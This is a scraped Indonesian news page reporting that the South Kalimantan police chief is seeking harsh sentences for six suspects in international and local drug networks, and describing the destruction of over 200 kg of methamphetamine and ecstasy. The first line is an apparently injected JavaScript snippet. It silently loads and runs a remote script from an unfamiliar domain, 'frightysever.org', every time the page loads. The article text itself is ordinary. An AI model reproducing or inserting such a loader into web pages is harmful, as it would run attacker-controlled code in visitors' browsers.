(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Kapolda Kalsel Minta 6 Tersangka Jaringan Narkoba Internasional Dihukum Berat


KANALKALIMANTAN.COM, BANJARBARU – Sedikitnya 6 orang tersangka diamankan Polda Kalsel dalam pengungkapan kasus narkoba jaringan internasional maupun jaringan lokal. Seluruh tersangka ini dihadirkan dalam kegiatan pemusnahan barang bukti 200 kilogram lebih sabu, ektasi dan serbuk ektasi, pada Rabu (20/5/2020) pagi.

Keenam tersangka ini, tiga diantaranya termasuk dalam jaringan internasional ialah Dimas Apriliano Teja Eka Satria, Syahrul Gunawan dan Mahmudi. Mereka diamankan pada 13 Maret 2020 silam. Ketiganya termasuk dalam jaringan internasional meliputi Malaysia-Kalimantan Timur (Kaltim)-Kalimantan Utara (Kaltara)-Kalimantan Selatan (Kalsel).

Pemusnahan barang bukti 200 kilogram lebih sabu, ektasi dan serbuk ektasi, pada Rabu (20/5/2020) pagi. foto: rico

Sedangkan tiga tersangka lainnya berada dalam jaringan lokal yakni Abdurrahman, Yudi Priyono dan Subur Santoso. Dalam hal ini pihak kepolisian mengamankan ketiga tersangka ini pada 6 Maret 2020, di masing-masing lokasi yang berbeda.

Keenam tersangka ini hanya bisa tertenduk saat menyaksikan ratusan kilogram narkoba yang rencananya akan mereka edarkan dimusnahkan Polda Kalsel. Mereka harus menghadapi hukuman yang akan diberikan.

Baca juga: Sabu Jaringan Internasional 200 Kg Lebih Dimusnahkan, Penghancuran Gunakan Mobil Mixer

Kapolda Kalsel Irjen Nico Afinta mengatakan bahwa dalam proses hukum keenam tersangka ini pihaknya akan berkoordinasi dengan pihak Kejaksaan Tinggi (Kejati) Kalsel. Dirinya berharap vonis yang nantinya akan diberikan adalah hukuman terberat.

“Kalau bisa diberikan vonis terberat. Kita tidak main-main kalau soal kasus narkoba karena menyangkut nyawa masyarakat,” katanya.

Diakui jenderal bintang dua tersebut, penangkapan terhadap ke 6 tersangka ini berkat informasi yang diberikan oleh seluruh stakeholder yang ada. Bahkan, kontribusi terbesar ialah informasi yang diberikan dari masyarakat.

“Ini menunjukan bahwa dalam peredaran dan penyalahgunaan narkoba tidak bisa diatasi oleh Polisi saja. Tapi juga harus ada kerjasama dengan seluruh komponen masyarakat,” katanya.

Adapun barang bukti yang dimusnahkan pada hari ada sebanyak 231 kilogram narkotika jenis sabu, ektasi sebanyak 54.899 butir dan serbuk ektasi seberat 218,4 gram. Seluruh barang bukti ini dimusnahkan secara massal dengan dilarukan kedalam deterjen menggunakan mobil mixer, lalu ditimbun di dalam tanah. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

41 menit ago

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

11 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

14 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

19 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

20 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

22 jam ago

This website uses cookies.